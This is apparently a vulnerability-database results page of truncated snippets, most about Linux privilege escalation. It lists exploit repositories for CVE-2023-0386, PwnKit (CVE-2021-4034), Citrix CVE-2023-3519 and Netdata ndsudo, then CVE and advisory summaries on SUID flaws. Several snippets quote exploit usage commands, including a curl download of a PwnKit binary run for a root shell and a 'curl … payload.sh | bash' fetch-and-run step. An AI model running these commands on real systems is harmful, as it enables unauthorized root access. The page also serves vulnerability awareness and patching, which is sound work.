CVE-2023-0386

typora-copy-images-to: ./image CVE-2023-0386 Exp 사용법: 첫 번째 : fuse.c 와 exp.sh 를 /tmp 디렉토리에 업로드합니다. scp 또는 python3 -m http.server를 사용하여 파일을 대상에 업로드할 수 있습니다. root@kitploit: scp /Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp scp /Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp you...

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

CVE-2021-30357CheckPointSNXVPNPoC CheckPoint SNX VPN Linux 클라이언트를 통한 권한 있는 파일 읽기에 대한 개념 증명. 영향을 받는 버전 CheckPointVPNSNXLinux800007075.sh MD5 체크섬: 4372e9936e2dfb1d1ebcef3ed4dd7787 익스플로잇 익스플로잇을 수행하려면 -f 매개변수를 사용하여 모든 파일을 SNX 구성으로 로드하면 됩니다. 파일이 유효한 SNX 구성이 아닌 경우 오류가 발생하고 구문 오류를 표시하며, 문자열 종결자가 발견될 때까지...

PwnKit-CVE-2021-4034

PwnKit CVE-2021-4034 の PoC - Pkexec ローカル権限昇格 エクスプロイト 手動 root@kitploit: curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit interactive shell ./PwnKit 'id' single command パッチ適用済み パッチ適用済みのバージョンに対してエクスプロイトを実行すると、以下の出力が得られます。...

CVE-2023-3460_FIX

CVE-20233460 이 랩은 학습 및 권한 상승privilege escalation 연습을 목적으로 구축되었습니다. 권한 상승 기술을 익히려면 아래 링크를 추가로 참고할 수 있습니다. https://viblo.asia/p/leo-thang-dac-quyen-trong-linux-linux-privilege-escalation-1-using-suid-bit-QpmlexgrZrd...

CVE-2021-4034

CVE-2021-4034 polkit 권한 상승 익스플로잇 make, ./cve-2021-4034를 실행하기만 하면 루트 셸을 얻을 수 있습니다. Qualys 팀의 원본 권고는 여기에서 확인할 수 있습니다. PoC 익스플로잇이 작동하면 즉시 루트 셸을 얻을 수 있습니다: root@kitploit: kali@user:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "modul...

CVE-2021-4034

CVE-2021-4034 2022년 1월 25일 | An00bRektn 이것은 Qualys가 발견한 취약점에 대한 clubby789's 구현을 기반으로 한읽기: 노골적으로 베낀 CVE-2021-4034의 golang 구현입니다. 저는 이 취약점에 대해 더 자세히 설명하는 블로그 게시물을 작성했습니다. 주로 제 자신을 위한 것이지만, 더 자세한 설명을 원하는 분들을 위한 것이기도 합니다. 여기에서 확인할 수 있습니다. 완화 방법 Canonical은 이미 APT 패키지 관리자에 패치 버전을 출시했으므로, EOL이 아닌 모든...

CVE-2023-3519

Citrix ADC RCE CVE-2023-3519 이 익스플로잇은 Citrix VPX 13.1-48.47의 주소와 셸코드를 사용합니다. 전체 글은 여기에서 확인하세요. 사용법 셸코드를 빌드하려면 NASM이 필요합니다. root@kitploit: $ sudo apt install nasm 포함된 셸코드는 원격 https 서버에서 셸 스크립트를 다운로드하여 실행합니다. 스크립트는 세 가지 인수를 받습니다: 대상 호스트, 대상 포트, 셸 스크립트 페이로드의 URL. 이 리포지토리에는 id와 uname -a를 실행한 후 자체 정리하...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo PoC 바이너리 빌드: root@kitploit: go build -ldflags "-s -w" -o nvme poc.go upx nvme bash 스크립트 실행: root@kitploit: bash exploit.sh 대상 머신에서 쓰기 가능한 디렉토리에서 실행: root@kitploit: curl http://:8000/payload.sh | bash 자동으로 nvme 바이너리를 다운로드하고, 경로를 설정하고, ndsudo를 실행한 후 /bin/bash에 SUID...

CVE-2026-71309 vulnerabilities

Vulnerabilities for packages: rclone-fips, telegraf...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: kernel (UTSA-2026-007523)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-007523 advisory. In the Linux kernel, the following vulnerability has been resolved: fs/9p: only translate RWX permissions for plain 9P2000 Garbage in plain 9P2000's perm bits is...

PT-2026-30240

Name of the Vulnerable Software and Affected Versions util-linux versions prior to 2.41.4 Description A Time-of-Check-Time-of-Use TOCTOU vulnerability exists in the SUID binary /usr/bin/mount within util-linux. When setting up loop devices, the binary validates a file path with user privileges bu...

CVE-2024-34477

configureNFS in lib/common/functions.sh in FOG through 1.5.10 allows local users to gain privileges by mounting a crafted NFS share because of norootsquash and insecure. In order to exploit the vulnerability, someone needs to mount an NFS share in order to add an executable file as root. In...

CVE-2025-12424

Azure Access Technology BLU-IC2 and BLU-IC4 are vulnerable to privilege escalation due to improper privilege management in a SUID-bit binary. Affected products/versions: BLU-IC2 and BLU-IC4 up to 1.19.5. Root cause: SUID-binary enables elevation of privileges. Impact: described as Privilege Escal...

EUVD-2021-2286

Malware in sbrugna...

CVE-2021-3978

When copying files with rsync, octorpki uses the "-a" flag 0, which forces rsync to copy binaries with the suid bit set as root. Since the provided service definition defaults to root https://github.com/cloudflare/cfrpki/blob/master/package/octorpki.service this could allow for a vector, when...

CVE-2021-3978

When copying files with rsync, octorpki uses the "-a" flag 0, which forces rsync to copy binaries with the suid bit set as root. Since the provided service definition defaults to root https://github.com/cloudflare/cfrpki/blob/master/package/octorpki.service this could allow for a vector, when...

CVE-2024-36964

In the Linux kernel, the following vulnerability has been resolved: fs/9p: only translate RWX permissions for plain 9P2000 Garbage in plain 9P2000's perm bits is allowed through, which causes it to be able to set among others the suid bit. This was presumably not the intent since the unix extende...

SUSE CVE-2024-36964

In the Linux kernel, the following vulnerability has been resolved: fs/9p: only translate RWX permissions for plain 9P2000 Garbage in plain 9P2000's perm bits is allowed through, which causes it to be able to set among others the suid bit. This was presumably not the intent since the unix extende...

CVE-2024-36964

In the Linux kernel, the following vulnerability has been resolved: fs/9p: only translate RWX permissions for plain 9P2000 Garbage in plain 9P2000's perm bits is allowed through, which causes it to be able to set among others the suid bit. This was presumably not the intent since the unix extende...

Privilege Escalation

github.com/projectcalico/calico/ is vulnerable to Privilege Escalation. The vulnerability is due to an incorrect SUID bit configuration in the Calico CNI install binary, combined with the ability to control the input binary, allows an attacker to execute an arbitrary binary with elevated privileg...